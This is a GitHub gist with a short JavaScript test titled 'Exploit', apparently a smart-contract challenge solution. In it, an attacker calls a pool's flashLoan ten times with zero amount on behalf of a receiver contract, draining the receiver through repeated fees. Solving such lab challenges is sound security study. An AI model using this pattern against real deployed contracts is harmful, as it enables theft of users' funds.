Skip to content

Instantly share code, notes, and snippets.

@az0mb13
Last active Jan 21, 2023
Embed
What would you like to do?
it('Exploit', async function () {
this.pool.connect(attacker);
for (i = 1; i <= 10; i ++) {
this.pool.flashLoan(this.receiver.address, 0)
}
console.log(await ethers.provider.getBalance(this.receiver.address))
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment